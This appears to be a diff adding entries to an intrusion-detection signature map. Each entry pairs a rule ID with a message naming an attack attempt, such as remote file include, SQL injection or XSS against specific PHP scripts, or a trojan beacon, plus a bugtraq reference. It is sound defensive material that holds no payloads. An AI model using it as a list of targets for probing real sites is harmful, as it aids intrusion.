+100000482 || COMMUNITY WEB-PHP BoastMachine vote.php remote file include || bugtraq,18415
+100000483 || COMMUNITY WEB-PHP Wheatblog view_links.php remote file include || bugtraq,18416
+100000484 || COMMUNITY WEB-PHP Confixx ftp_index.php xss attempt || bugtraq,18426
+100000485 || COMMUNITY WEB-PHP RahnemaCo page.php remote file include || bugtraq,18435
+100000486 || COMMUNITY WEB-PHP PhpBlueDragon CMS template.php remote file include || bugtraq,18440
+100000487 || COMMUNITY WEB-PHP ISPConfig server.inc.php remote file include || bugtraq,18441
+100000488 || COMMUNITY WEB-PHP ISPConfig app.inc.php remote file include || bugtraq,18441
+100000489 || COMMUNITY WEB-PHP ISPConfig login.php remote file include || bugtraq,18441
+100000490 || COMMUNITY WEB-PHP ISPConfig trylogin.php remote file include || bugtraq,18441
+100000491 || COMMUNITY WEB-PHP DeluxeBB posting.php remote file include || bugtraq,18455
+100000492 || COMMUNITY WEB-PHP DeluxeBB newpm.php remote file include || bugtraq,18455
+100000493 || COMMUNITY WEB-PHP DeluxeBB postreply.php remote file include || bugtraq,18455
+100000494 || COMMUNITY WEB-PHP Zeroboard write_ok.php xss attempt || bugtraq,18458
+100000495 || COMMUNITY WEB-PHP Zeroboard write_ok.php xss attempt || bugtraq,18458
+100000496 || COMMUNITY WEB-PHP Chipmailer index.php SQL injection attempt || bugtraq,18463
+100000497 || COMMUNITY WEB-PHP Calendarix cal_event.php SQL injection attempt || bugtraq,18469
+100000498 || COMMUNITY WEB-PHP Calendarix cal_popup.php SQL injection attempt || bugtraq,18469
+100000499 || COMMUNITY WEB-PHP PictureDis thumstbl.php remote file include || bugtraq,18471
+100000500 || COMMUNITY WEB-PHP PictureDis wpfiles.php remote file include || bugtraq,18471
+100000501 || COMMUNITY WEB-PHP PictureDis wallpapr.php remote file include || bugtraq,18471
+100000502 || COMMUNITY WEB-PHP Ji-Takz tag.class.php remote file include || bugtraq,18474
+100000503 || COMMUNITY WEB-PHP Nucleus CMS action.php remote file include || bugtraq,18475
+100000504 || COMMUNITY WEB-PHP Nucleus CMS media.php remote file include || bugtraq,18475
+100000505 || COMMUNITY WEB-PHP Nucleus CMS server.php remote file include || bugtraq,18475
+100000506 || COMMUNITY WEB-PHP Nucleus CMS api_metaweblog.inc.php remote file include || bugtraq,18475
+100000507 || COMMUNITY WEB-PHP FlashChat adminips.php remote file include || bugtraq,18480
+100000508 || COMMUNITY WEB-PHP Wikkawiki wakka.php access || bugtraq,18481
+100000509 || COMMUNITY WEB-PHP RahnemaCo page.php remote file include || bugtraq,18490
+100000510 || COMMUNITY WEB-PHP VBZoom rank.php SQL injection attempt || bugtraq,18497
+100000511 || COMMUNITY WEB-PHP VBZoom message.php SQL injection attempt || bugtraq,18497
+100000512 || COMMUNITY WEB-PHP VBZoom lng.php SQL injection attempt || bugtraq,18497
+100000513 || COMMUNITY WEB-PHP SAPHPLesson showcat.php SQL injection attempt || bugtraq,18501
+100000514 || COMMUNITY WEB-PHP SAPHPLesson misc.php SQL injection attempt || bugtraq,18501
+100000515 || COMMUNITY WEB-PHP CMS Faethon header.php xss attempt || bugtraq,18505
+100000516 || COMMUNITY WEB-PHP CMS Faethon footer.php xss attempt || bugtraq,18505
+100000517 || COMMUNITY WEB-PHP e107 search.php xss attempt || bugtraq,18508
+100000518 || COMMUNITY WEB-PHP PHP Live Helper initiate.php remote file include || bugtraq,18509
+100000519 || COMMUNITY WEB-PHP VUBB index.php SQL injection attempt || bugtraq,18516
+100000520 || COMMUNITY WEB-PHP Xarancms xaramcms_haupt.php SQL injection attempt || bugtraq,18520
+100000521 || COMMUNITY WEB-PHP TPL Design TplShop category.php SQL injection attempt || bugtraq,18524
+100000522 || COMMUNITY WEB-PHP The Edge eCommerce Shop productDetail.php xss attempt || bugtraq,18528
+100000523 || COMMUNITY WEB-PHP CavoxCms index.php SQL injection attempt || bugtraq,18533
+100000524 || COMMUNITY WEB-PHP Micro CMS microcms-include.php remote file include || bugtraq,18537
+100000525 || COMMUNITY WEB-PHP PHPMyDirectory offer-pix.php xss attempt || bugtraq,18539
+100000526 || COMMUNITY WEB-PHP PHPMyDirectory index.php xss attempt || bugtraq,18539
+100000527 || COMMUNITY WEB-PHP AssoCIateD index.php xss attempt || bugtraq,18541
+100000528 || COMMUNITY WEB-PHP PHPMyForum topic.php xss attempt || bugtraq,18542
+100000529 || COMMUNITY WEB-PHP NC Linklist index.php xss attempt || bugtraq,18546
+100000530 || COMMUNITY WEB-PHP NC Linklist index.php xss attempt || bugtraq,18546
+100000531 || COMMUNITY WEB-PHP BtitTracker torrents.php SQL injection attempt || bugtraq,18549
+100000532 || COMMUNITY WEB-PHP BtitTracker torrents.php SQL injection attempt || bugtraq,18549
+100000533 || COMMUNITY WEB-PHP VUBB functions.php SQL injection attempt || bugtraq,18561
+100000534 || COMMUNITY WEB-PHP VUBB english.php xss attempt || bugtraq,18562
+100000535 || COMMUNITY WEB-PHP IMGallery galeria.php SQL injection attempt || bugtraq,18566
+100000536 || COMMUNITY WEB-PHP IMGallery galeria.php SQL injection attempt || bugtraq,18566
+100000537 || COMMUNITY WEB-PHP thinkWMS index.php SQL injection attempt || bugtraq,18567
+100000538 || COMMUNITY WEB-PHP thinkWMS index.php SQL injection attempt || bugtraq,18567
+100000539 || COMMUNITY WEB-PHP thinkWMS printarticle.php SQL injection attempt || bugtraq,18567
+100000540 || COMMUNITY WEB-PHP Enterprise Groupware index.php xss attempt || bugtraq,18590
+100000541 || COMMUNITY WEB-PHP Dating Agent picture.php SQL injection attempt || bugtraq,18607
+100000542 || COMMUNITY WEB-PHP Dating Agent mem.php SQL injection attempt || bugtraq,18607
+100000543 || COMMUNITY WEB-PHP Dating Agent search.php SQL injection attempt || bugtraq,18607
+100000544 || COMMUNITY WEB-PHP Dating Agent search.php SQL injection attempt || bugtraq,18607
+100000545 || COMMUNITY WEB-PHP PHP Blue Dragon CMS team_admin.php remote file include || bugtraq,18609
+100000546 || COMMUNITY WEB-PHP PHP Blue Dragon CMS rss_admin.php remote file include || bugtraq,18609
+100000547 || COMMUNITY WEB-PHP PHP Blue Dragon CMS manual_admin.php remote file include || bugtraq,18609
+100000548 || COMMUNITY WEB-PHP PHP Blue Dragon CMS forum_admin.php remote file include || bugtraq,18609
+100000549 || COMMUNITY WEB-PHP Custom Datin Biz user_view.php xss attempt || bugtraq,18626
+100000550 || COMMUNITY WEB-PHP Project Eros BBSEngine comment.php access || bugtraq,18627
+100000551 || COMMUNITY WEB-PHP Project Eros BBSEngine aolbonics.php access || bugtraq,18627
+100000552 || COMMUNITY WEB-PHP SmartSiteCMS inc_foot.php remote file include || bugtraq,18628
+100000553 || COMMUNITY WEB-PHP PHPMySMS gateway.php remote file include || bugtraq,18633
+100000554 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000555 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000556 || COMMUNITY WEB-PHP VebiMiau error.php xss attempt || bugtraq,18643
+100000557 || COMMUNITY WEB-PHP VebiMiau index.php xss attempt || bugtraq,18643
+100000558 || COMMUNITY WEB-PHP VebiMiau messages.php xss attempt || bugtraq,18643
+100000559 || COMMUNITY WEB-PHP Infinite Core Technologies ICT index.php SQL injection attempt || bugtraq,18644
+100000560 || COMMUNITY WEB-PHP eNpaper1 root_header.php remote file include || bugtraq,18649
+100000561 || COMMUNITY WEB-PHP dotProject ui.class.php xss attempt || bugtraq,18650
+100000562 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000563 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000564 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000565 || COMMUNITY WEB-PHP GL-SH Deaf Forum show.php xss attempt || bugtraq,18651
+100000566 || COMMUNITY WEB-PHP XennoBB messages.php xss attempt || bugtraq,18652
+100000567 || COMMUNITY WEB-PHP Qdig index.php xss attempt || bugtraq,18653
+100000568 || COMMUNITY WEB-PHP Qdig index.php xss attempt || bugtraq,18653
+100000569 || COMMUNITY WEB-PHP Indexu app_change_email.php remote file include || bugtraq,18477
+100000570 || COMMUNITY WEB-PHP Indexu app_change_pwd.php remote file include || bugtraq,18477
+100000571 || COMMUNITY WEB-PHP Indexu app_mod_rewrite.php remote file include || bugtraq,18477
+100000572 || COMMUNITY WEB-PHP Indexu app_page_caching.php remote file include || bugtraq,18477
+100000573 || COMMUNITY WEB-PHP Indexu app_setup.php remote file include || bugtraq,18477
+100000574 || COMMUNITY WEB-PHP Indexu cat_add.php remote file include || bugtraq,18477
+100000575 || COMMUNITY WEB-PHP Indexu cat_delete.php remote file include || bugtraq,18477
+100000576 || COMMUNITY WEB-PHP Indexu cat_edit.php remote file include || bugtraq,18477
+100000577 || COMMUNITY WEB-PHP Indexu cat_path_update.php remote file include || bugtraq,18477
+100000578 || COMMUNITY WEB-PHP Indexu cat_search.php remote file include || bugtraq,18477
+100000579 || COMMUNITY WEB-PHP Indexu cat_struc.php remote file include || bugtraq,18477
+100000580 || COMMUNITY WEB-PHP Indexu cat_view.php remote file include || bugtraq,18477
+100000581 || COMMUNITY WEB-PHP Indexu cat_view_hidden.php remote file include || bugtraq,18477
+100000582 || COMMUNITY WEB-PHP Indexu cat_view_hierarchy.php remote file include || bugtraq,18477
+100000583 || COMMUNITY WEB-PHP Indexu cat_view_registered_only.php remote file include || bugtraq,18477
+100000584 || COMMUNITY WEB-PHP Indexu checkurl_web.php remote file include || bugtraq,18477
+100000585 || COMMUNITY WEB-PHP Indexu db_alter.php remote file include || bugtraq,18477
+100000586 || COMMUNITY WEB-PHP Indexu db_alter_change.php remote file include || bugtraq,18477
+100000587 || COMMUNITY WEB-PHP Indexu db_backup.php remote file include || bugtraq,18477
+100000588 || COMMUNITY WEB-PHP Indexu db_export.php remote file include || bugtraq,18477
+100000589 || COMMUNITY WEB-PHP Indexu db_import.php remote file include || bugtraq,18477
+100000590 || COMMUNITY WEB-PHP Indexu editor_add.php remote file include || bugtraq,18477
+100000591 || COMMUNITY WEB-PHP Indexu editor_delete.php remote file include || bugtraq,18477
+100000592 || COMMUNITY WEB-PHP Indexu editor_validate.php remote file include || bugtraq,18477
+100000593 || COMMUNITY WEB-PHP Indexu head.php remote file include || bugtraq,18477
+100000594 || COMMUNITY WEB-PHP Indexu index.php remote file include || bugtraq,18477
+100000595 || COMMUNITY WEB-PHP Indexu inv_config.php remote file include || bugtraq,18477
+100000596 || COMMUNITY WEB-PHP Indexu inv_config_payment.php remote file include || bugtraq,18477
+100000597 || COMMUNITY WEB-PHP Indexu inv_create.php remote file include || bugtraq,18477
+100000598 || COMMUNITY WEB-PHP Indexu inv_delete.php remote file include || bugtraq,18477
+100000599 || COMMUNITY WEB-PHP Indexu inv_edit.php remote file include || bugtraq,18477
+100000600 || COMMUNITY WEB-PHP Indexu inv_markpaid.php remote file include || bugtraq,18477
+100000601 || COMMUNITY WEB-PHP Indexu inv_markunpaid.php remote file include || bugtraq,18477
+100000602 || COMMUNITY WEB-PHP Indexu inv_overdue.php remote file include || bugtraq,18477
+100000603 || COMMUNITY WEB-PHP Indexu inv_paid.php remote file include || bugtraq,18477
+100000604 || COMMUNITY WEB-PHP Indexu inv_send.php remote file include || bugtraq,18477
+100000605 || COMMUNITY WEB-PHP Indexu inv_unpaid.php remote file include || bugtraq,18477
+100000606 || COMMUNITY WEB-PHP Indexu lang_modify.php remote file include || bugtraq,18477
+100000607 || COMMUNITY WEB-PHP Indexu link_add.php remote file include || bugtraq,18477
+100000608 || COMMUNITY WEB-PHP Indexu link_bad.php remote file include || bugtraq,18477
+100000609 || COMMUNITY WEB-PHP Indexu link_bad_delete.php remote file include || bugtraq,18477
+100000610 || COMMUNITY WEB-PHP Indexu link_checkurl.php remote file include || bugtraq,18477
+100000611 || COMMUNITY WEB-PHP Indexu link_delete.php remote file include || bugtraq,18477
+100000612 || COMMUNITY WEB-PHP Indexu link_duplicate.php remote file include || bugtraq,18477
+100000613 || COMMUNITY WEB-PHP Indexu link_edit.php remote file include || bugtraq,18477
+100000614 || COMMUNITY WEB-PHP Indexu link_premium_listing.php remote file include || bugtraq,18477
+100000615 || COMMUNITY WEB-PHP Indexu link_premium_sponsored.php remote file include || bugtraq,18477
+100000616 || COMMUNITY WEB-PHP Indexu link_search.php remote file include || bugtraq,18477
+100000617 || COMMUNITY WEB-PHP Indexu link_sponsored_listing.php remote file include || bugtraq,18477
+100000618 || COMMUNITY WEB-PHP Indexu link_validate.php remote file include || bugtraq,18477
+100000619 || COMMUNITY WEB-PHP Indexu link_validate_edit.php remote file include || bugtraq,18477
+100000620 || COMMUNITY WEB-PHP Indexu link_view.php remote file include || bugtraq,18477
+100000621 || COMMUNITY WEB-PHP Indexu log_search.php remote file include || bugtraq,18477
+100000622 || COMMUNITY WEB-PHP Indexu mail_modify.php remote file include || bugtraq,18477
+100000623 || COMMUNITY WEB-PHP Indexu menu.php remote file include || bugtraq,18477
+100000624 || COMMUNITY WEB-PHP Indexu message_create.php remote file include || bugtraq,18477
+100000625 || COMMUNITY WEB-PHP Indexu message_delete.php remote file include || bugtraq,18477
+100000626 || COMMUNITY WEB-PHP Indexu message_edit.php remote file include || bugtraq,18477
+100000627 || COMMUNITY WEB-PHP Indexu message_send.php remote file include || bugtraq,18477
+100000628 || COMMUNITY WEB-PHP Indexu message_subscriber.php remote file include || bugtraq,18477
+100000629 || COMMUNITY WEB-PHP Indexu message_view.php remote file include || bugtraq,18477
+100000630 || COMMUNITY WEB-PHP Indexu review_validate.php remote file include || bugtraq,18477
+100000631 || COMMUNITY WEB-PHP Indexu review_validate_edit.php remote file include || bugtraq,18477
+100000632 || COMMUNITY WEB-PHP Indexu summary.php remote file include || bugtraq,18477
+100000633 || COMMUNITY WEB-PHP Indexu template_active.php remote file include || bugtraq,18477
+100000634 || COMMUNITY WEB-PHP Indexu template_add_custom.php remote file include || bugtraq,18477
+100000635 || COMMUNITY WEB-PHP Indexu template_delete.php remote file include || bugtraq,18477
+100000636 || COMMUNITY WEB-PHP Indexu template_delete_file.php remote file include || bugtraq,18477
+100000637 || COMMUNITY WEB-PHP Indexu template_duplicate.php remote file include || bugtraq,18477
+100000638 || COMMUNITY WEB-PHP Indexu template_export.php remote file include || bugtraq,18477
+100000639 || COMMUNITY WEB-PHP Indexu template_import.php remote file include || bugtraq,18477
+100000640 || COMMUNITY WEB-PHP Indexu template_manager.php remote file include || bugtraq,18477
+100000641 || COMMUNITY WEB-PHP Indexu template_modify.php remote file include || bugtraq,18477
+100000642 || COMMUNITY WEB-PHP Indexu template_modify_file.php remote file include || bugtraq,18477
+100000643 || COMMUNITY WEB-PHP Indexu template_rename.php remote file include || bugtraq,18477
+100000644 || COMMUNITY WEB-PHP Indexu user_add.php remote file include || bugtraq,18477
+100000645 || COMMUNITY WEB-PHP Indexu user_delete.php remote file include || bugtraq,18477
+100000646 || COMMUNITY WEB-PHP Indexu user_edit.php remote file include || bugtraq,18477
+100000647 || COMMUNITY WEB-PHP Indexu user_search.php remote file include || bugtraq,18477
+100000648 || COMMUNITY WEB-PHP Indexu whos.php remote file include || bugtraq,18477
+100000649 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000650 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000651 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000652 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000653 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000654 || COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt || bugtraq,18582
+100000655 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000656 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000657 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000658 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000659 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000660 || COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt || bugtraq,18582
+100000661 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000662 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000663 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000664 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000665 || COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt || bugtraq,18582
+100000666 || COMMUNITY WEB-PHP Harpia files.php remote file include || bugtraq,18614
+100000667 || COMMUNITY WEB-PHP Harpia files.php remote file include || bugtraq,18614
+100000668 || COMMUNITY WEB-PHP Harpia pheader.php remote file include || bugtraq,18614
+100000669 || COMMUNITY WEB-PHP Harpia headlines.php remote file include || bugtraq,18614
+100000670 || COMMUNITY WEB-PHP Harpia web_statsConfig.php remote file include || bugtraq,18614
+100000671 || COMMUNITY WEB-PHP Harpia preload.php remote file include || bugtraq,18614
+100000672 || COMMUNITY WEB-PHP Harpia users.php remote file include || bugtraq,18614
+100000673 || COMMUNITY WEB-PHP Harpia web_statsConfig.php remote file include || bugtraq,18614
+100000674 || COMMUNITY WEB-PHP Harpia footer.php remote file include || bugtraq,18614
+100000675 || COMMUNITY WEB-PHP Harpia pfooter.php remote file include || bugtraq,18614
+100000676 || COMMUNITY WEB-PHP Harpia missing.php remote file include || bugtraq,18614
+100000677 || COMMUNITY WEB-PHP Harpia topics.php remote file include || bugtraq,18614
+100000678 || COMMUNITY WEB-PHP Harpia header.php remote file include || bugtraq,18614
+100000679 || COMMUNITY WEB-PHP Harpia index.php remote file include || bugtraq,18614
+100000680 || COMMUNITY WEB-PHP Harpia search.php remote file include || bugtraq,18614
+100000681 || COMMUNITY WEB-PHP Harpia header.php remote file include || bugtraq,18614
+100000682 || COMMUNITY WEB-PHP Harpia email.php remote file include || bugtraq,18614
+100000683 || COMMUNITY WEB-PHP cPanel select.html xss attempt || bugtraq,18655
+100000684 || COMMUNITY VIRUS OutBound Dremn Trojan Beacon || url,symantec.com/avcenter/venc/data/trojan.dremn.html
+100000685 || COMMUNITY VIRUS Answering Dremn Trojan Server || url,symantec.com/avcenter/venc/data/trojan.dremn.html
+100000686 || COMMUNITY DOS EnergyMech parse_notice vulnerability - inbound || bugtraq,18664
+100000687 || COMMUNITY DOS EnergyMech parse_notice vulnerability - outbound || bugtraq,18664
+100000688 || COMMUNITY POLICY Ajax Remote Desktop Connection || url,www.peterdamen.com/ajaxrd/
+100000689 || COMMUNITY SMTP Mytob MAIL FROM Attempt || url,www.symantec.com/avcenter/venc/data/w32.mytob@mm.html
+100000690 || COMMUNITY SQL-INJECTION BXCP Sql Injection attempt || bugtraq,18765 || url,www.milw0rm.com/exploits/1975
+100000691 || COMMUNITY SQL-INJECTION Diesel Joke Script Sql Injection attempt || bugtraq,18760
+100000692 || COMMUNITY WEB-CLIENT midi file download attempt || bugtraq,18507
+100000693 || COMMUNITY WEB-CLIENT winamp midi file header overflow attempt || bugtraq,18507
+100000694 || COMMUNITY WEB-MISC VCard PRO gbrowse.php SQL injection attempt || bugtraq,18699
+100000695 || COMMUNITY WEB-MISC VCard PRO rating.php SQL injection attempt || bugtraq,18699
+100000696 || COMMUNITY WEB-MISC VCard PRO create.php SQL injection attempt || bugtraq,18699
+100000697 || COMMUNITY WEB-MISC VCard PRO search.php SQL injection attempt || bugtraq,18699
+100000698 || COMMUNITY WEB-MISC BXCP index.php SQL injection attempt || bugtraq,18765
+100000699 || COMMUNITY WEB-MISC Vincent Leclercq News diver.php xss attempt || bugtraq,18775
+100000700 || COMMUNITY WEB-MISC Vincent Leclercq News diver.php xss attempt || bugtraq,18775
+100000701 || COMMUNITY WEB-MISC WordPress index.php SQL injection attempt || bugtraq,18779
+100000702 || COMMUNITY WEB-MISC Webvizyon SayfalaAltList.asp MSSQL injection attempt || bugtraq,18899
+100000703 || COMMUNITY WEB-PHP Horde index.php show XSS attempt || bugtraq,18845
+100000704 || COMMUNITY WEB-PHP SmartSiteCMS comment.php remote file include || bugtraq,18697
+100000705 || COMMUNITY WEB-PHP SmartSiteCMS test.php remote file include || bugtraq,18697
+100000706 || COMMUNITY WEB-PHP SmartSiteCMS index.php remote file include || bugtraq,18697
+100000707 || COMMUNITY WEB-PHP SmartSiteCMS inc_adminfoot.php remote file include || bugtraq,18697
+100000708 || COMMUNITY WEB-PHP SmartSiteCMS comedit.php remote file include || bugtraq,18697
+100000709 || COMMUNITY WEB-PHP SquirrelMail search.php xss attempt || bugtraq,18700
+100000710 || COMMUNITY WEB-PHP Xoops MyAds Module annonces-p-f.php SQL injection attempt || bugtraq,18718
+100000711 || COMMUNITY WEB-PHP PHPRaid raids.php remote file include || bugtraq,18719
+100000712 || COMMUNITY WEB-PHP PHPRaid register.php remote file include || bugtraq,18719
+100000713 || COMMUNITY WEB-PHP PHPRaid roster.php remote file include || bugtraq,18719
+100000714 || COMMUNITY WEB-PHP PHPRaid view.php remote file include || bugtraq,18719
+100000715 || COMMUNITY WEB-PHP PHPRaid logs.php remote file include || bugtraq,18719
+100000716 || COMMUNITY WEB-PHP PHPRaid users.php remote file include || bugtraq,18719
+100000717 || COMMUNITY WEB-PHP PHPRaid configuration.php remote file include || bugtraq,18719
+100000718 || COMMUNITY WEB-PHP PHPRaid guilds.php remote file include || bugtraq,18719
+100000719 || COMMUNITY WEB-PHP PHPRaid index.php remote file include || bugtraq,18719
+100000720 || COMMUNITY WEB-PHP PHPRaid locations.php remote file include || bugtraq,18719
+100000721 || COMMUNITY WEB-PHP PHPRaid login.php remote file include || bugtraq,18719
+100000722 || COMMUNITY WEB-PHP PHPRaid lua_output.php remote file include || bugtraq,18719
+100000723 || COMMUNITY WEB-PHP PHPRaid permissions.php remote file include || bugtraq,18719
+100000724 || COMMUNITY WEB-PHP PHPRaid profile.php remote file include || bugtraq,18719
+100000725 || COMMUNITY WEB-PHP PHPRaid view.php SQL injection attempt || bugtraq,18720
+100000726 || COMMUNITY WEB-PHP Vincent-Leclercq News diver.php SQL injection attempt || bugtraq,18729
+100000727 || COMMUNITY WEB-PHP Softbiz Banner Exchange insertmember.php xss attempt || bugtraq,18735
+100000728 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000729 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000730 || COMMUNITY WEB-PHP Geeklog BlackList.Examine.class.php remote file include || bugtraq,18740
+100000731 || COMMUNITY WEB-PHP Geeklog DeleteComment.Action.class.php remote file include || bugtraq,18740
+100000732 || COMMUNITY WEB-PHP Geeklog EditIPofURL.Admin.class.php remote file include || bugtraq,18740
+100000733 || COMMUNITY WEB-PHP Geeklog MTBlackList.Examine.class.php remote file include || bugtraq,18740
+100000734 || COMMUNITY WEB-PHP Geeklog MassDelete.Admin.class.php remote file include || bugtraq,18740
+100000735 || COMMUNITY WEB-PHP Geeklog MailAdmin.Action.class.php remote file include || bugtraq,18740
+100000736 || COMMUNITY WEB-PHP Geeklog MassDelTrackback.Admin.class.php remote file include || bugtraq,18740
+100000737 || COMMUNITY WEB-PHP Geeklog EditHeader.Admin.class.php remote file include || bugtraq,18740
+100000738 || COMMUNITY WEB-PHP Geeklog EditIP.Admin.class.php remote file include || bugtraq,18740
+100000739 || COMMUNITY WEB-PHP Geeklog IPofUrl.Examine.class.php remote file include || bugtraq,18740
+100000740 || COMMUNITY WEB-PHP Geeklog Import.Admin.class.php remote file include || bugtraq,18740
+100000741 || COMMUNITY WEB-PHP Geeklog LogView.Admin.class.php remote file include || bugtraq,18740
+100000742 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000743 || COMMUNITY WEB-PHP Plume CMS dbinstall.php remote file include || bugtraq,18750
+100000744 || COMMUNITY WEB-PHP MyNewsGroups tree.php SQL injection attempt || bugtraq,18757
+100000745 || COMMUNITY WEB-PHP Diesel Joke Site category.php SQL injection attempt || bugtraq,18760
+100000746 || COMMUNITY WEB-PHP Randshop header.inc.php remote file include || bugtraq,18763
+100000747 || COMMUNITY WEB-PHP Plume CMS index.php remote file include || bugtraq,18780
+100000748 || COMMUNITY WEB-PHP Plume CMS rss.php remote file include || bugtraq,18780
+100000749 || COMMUNITY WEB-PHP Plume CMS search.php remote file include || bugtraq,18780
+100000750 || COMMUNITY WEB-PHP Free QBoard index.php remote file include || bugtraq,18788
+100000751 || COMMUNITY WEB-PHP Free QBoard about.php remote file include || bugtraq,18788
+100000752 || COMMUNITY WEB-PHP Free QBoard contact.php remote file include || bugtraq,18788
+100000753 || COMMUNITY WEB-PHP Free QBoard delete.php remote file include || bugtraq,18788
+100000754 || COMMUNITY WEB-PHP Free QBoard faq.php remote file include || bugtraq,18788
+100000755 || COMMUNITY WEB-PHP Free QBoard features.php remote file include || bugtraq,18788
+100000756 || COMMUNITY WEB-PHP Free QBoard history.php remote file include || bugtraq,18788
+100000757 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000758 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000759 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000760 || COMMUNITY WEB-PHP The Banner Engine top.php xss attempt || bugtraq,18793
+100000761 || COMMUNITY WEB-PHP PHPWebGallery comments.php xss attempt || bugtraq,18798
+100000762 || COMMUNITY WEB-PHP Randshop index.php remote file include || bugtraq,18809
+100000763 || COMMUNITY WEB-PHP Kamikaze-QSCM config.inc access || bugtraq,18816
+100000764 || COMMUNITY WEB-PHP MyPHP CMS global_header.php remote file include || bugtraq,18834
+100000765 || COMMUNITY WEB-PHP LifeType index.php SQL injection attempt || bugtraq,18835
+100000766 || COMMUNITY WEB-PHP Blog CMS thumb.php remote file include || bugtraq,18837
+100000767 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000768 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000769 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000770 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000771 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000772 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000773 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000774 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000775 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000776 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000777 || COMMUNITY WEB-PHP Blog CMS action.php SQL injection attempt || bugtraq,18839
+100000778 || COMMUNITY WEB-PHP PHPMailList maillist.php xss attempt || bugtraq,18840
+100000779 || COMMUNITY WEB-PHP Horde index.php xss attempt || bugtraq,18845
+100000780 || COMMUNITY WEB-PHP Horde problem.php xss attempt || bugtraq,18845
+100000781 || COMMUNITY WEB-PHP Horde go.php xss attempt || bugtraq,18845
+100000782 || COMMUNITY WEB-PHP Horde go.php xss attempt || bugtraq,18845
+100000783 || COMMUNITY WEB-PHP ATutor create_course.php xss attempt || bugtraq,18857
+100000784 || COMMUNITY WEB-PHP ATutor create_course.php xss attempt || bugtraq,18857
+100000785 || COMMUNITY WEB-PHP ATutor password_reminder.php xss attempt || bugtraq,18857
+100000786 || COMMUNITY WEB-PHP ATutor browse.php xss attempt || bugtraq,18857
+100000787 || COMMUNITY WEB-PHP ATutor fix_content.php xss attempt || bugtraq,18857
+100000788 || COMMUNITY WEB-PHP FreeWebshop search.php xss attempt || bugtraq,18878
+100000789 || COMMUNITY WEB-PHP FreeWebshop details.php SQL injection attempt || bugtraq,18878
+100000790 || COMMUNITY WEB-PHP Pivot edit_new.php remote file include || bugtraq,18881
+100000791 || COMMUNITY WEB-PHP Pivot pv_core.php access || bugtraq,18881
+100000792 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000793 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000794 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000795 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000796 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000797 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000798 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000799 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000800 || COMMUNITY WEB-PHP Pivot editor_menu.php xss attempt || bugtraq,18881
+100000801 || COMMUNITY WEB-PHP Pivot editor_menu.php xss attempt || bugtraq,18881
+100000802 || COMMUNITY WEB-PHP BosClassifieds index.php remote file include || bugtraq,18883
+100000803 || COMMUNITY WEB-PHP BosClassifieds recent.php remote file include || bugtraq,18883
+100000804 || COMMUNITY WEB-PHP BosClassifieds account.php remote file include || bugtraq,18883
